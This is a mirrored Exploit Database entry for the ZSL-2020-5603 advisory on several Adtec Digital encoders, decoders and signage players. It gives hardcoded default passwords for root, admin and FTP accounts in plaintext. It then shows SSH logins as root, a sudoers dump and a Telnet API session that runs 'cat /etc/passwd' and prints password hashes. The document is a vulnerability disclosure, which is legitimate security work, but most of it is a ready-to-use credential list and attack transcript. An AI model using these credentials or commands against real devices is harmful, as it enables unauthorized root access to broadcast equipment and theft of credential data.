Adtec Digital Multiple Products – Default Hardcoded Credentials Remote Root

• Exploit Database
• 13 阅读

• 作者： LiquidWorm
  日期： 2020-10-27
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/48954/

• # Exploit Title: Adtec Digital Multiple Products - Default Hardcoded Credentials Remote Root
  # Date: 2020-07-24
  # Exploit Author: LiquidWorm
  # Software Link: https://www.adtecdigital.com / https://www.adtecdigital.com/support/documents-downloads
  # Version: Multiple
  
  Adtec Digital Multiple Products - Default Hardcoded Credentials Remote Root
  
  
  Vendor: Adtec Digital, Inc.
  Product web page: https://www.adtecdigital.com
  https://www.adtecdigital.com/support/documents-downloads
  Affected version: SignEdje Digital Signage Player v2.08.28
  mediaHUB HD-Pro High & Standard Definition MPEG2 Encoder v3.07.19
  afiniti Multi-Carrier Platform v1905_11
  EN-31 Dual Channel DSNG Encoder / Modulator v2.01.15
  EN-210 Multi-CODEC 10-bit Encoder / Modulator v3.00.29
  EN-200 1080p AVC Low Latency Encoder / Modulator v3.00.29
  ED-71 10-bit / 1080p Integrated Receiver Decoder v2.02.24
  edje-5110 Standard Definition MPEG2 Encoder v1.02.05
  edje-4111 HD Digital Media Player v2.07.09
  Soloist HD-Pro Broadcast Decoder v2.07.09
  adManage Traffic & Media Management Application v2.5.4
  
  Summary: Adtec Digital is a leading manufacturer of Broadcast, Cable and IPTV products and
  solutions.
  
  Desc: The devices utilizes hard-coded and default credentials within its Linux distribution
  image for Web/Telnet/SSH access. A remote attacker could exploit this vulnerability by logging
  in using the default credentials for accessing the web interface or gain shell access as root.
  
  Tested on: GNU/Linux 4.1.8 (armv7l)
   GNU/Linux 3.12.38 (PowerPC)
   GNU/Linux 2.6.14 (PowerPC)
   Adtec Embedded Linux 0.9 (fido)
   Apache
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2020-5603
  Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5603.php
  
  
  24.07.2020
  
  --
  
  
  Creds:
  ------
  
  adtec:none:500:1000:adtec:/media:/bin/sh
  admin:1admin!:502:502:admin:/home/admin:/bin/sh
  root1:1root!:0:0:root:/root:/bin/sh
  adtecftp:adtecftp2231
  
  
  SSH:
  ----
  
  login as: root
  root@192.168.3.12's password:
  
  Successfully logged in.
  Thank you for choosing Adtec Digital products-
  we know you had a choice and we appreciate your decision!
  
  root@targethostname:~# id
  uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
  --
  admin@targethostname:/$ id
  uid=502(admin) gid=502(admin) groups=0(root),502(admin)
  admin@targethostname:~$ id adtec
  uid=500(adtec) gid=1000(users) groups=1000(users),72(apache)
  admin@targethostname:~$ cat /etc/sudoers |grep -v "#"
  rootALL=(ALL) ALL
  apache ALL=(ALL) NOPASSWD: ALL
  
  
  Telnet (API):
  -------------
  
  Adtec Resident Telnet Server...
  UserName:
  adtec
  adtec
  PassWord:
  none
  User adtec connected
  *.SYSD SHELLCMD cat /etc/passwd
  *.SYSD CMD cat /etc/passwd
  OK
  root:he7TRuXjJjxfc:0:0:root:/root:/bin/sh
  adtec:GC1BpYa80PaoY:500:1000:adtec:/media:/bin/sh
  apache:!!:72:72:Apache Server:/dev/null:/sbin/nologin
  fregd:!!:73:73:Freg Daemon:/dev/null:/sbin/nologin
  ntp:!!:38:38:NTP Server:/dev/null:/sbin/nologin
  syslogd:!!:74:74:Syslog Daemon:/dev/null:/sbin/nologin
  admin:rDglOB38TVYRg:502:502:admin:/home/admin:/bin/sh
  sshd:x:71:65:SSH daemon:/var/lib/sshd:/bin/false
  avahi:x:82:82:Avahi Daemon:/dev/null/:/sbin/nologin
  avahi-autoipd:x:83:83:Avahi Autoipd:/dev/null/:/sbin/nologin
  messagebus:x:81:81:Message Bus Daemon:/dev/null:/sbin/nologin
  ...
  ...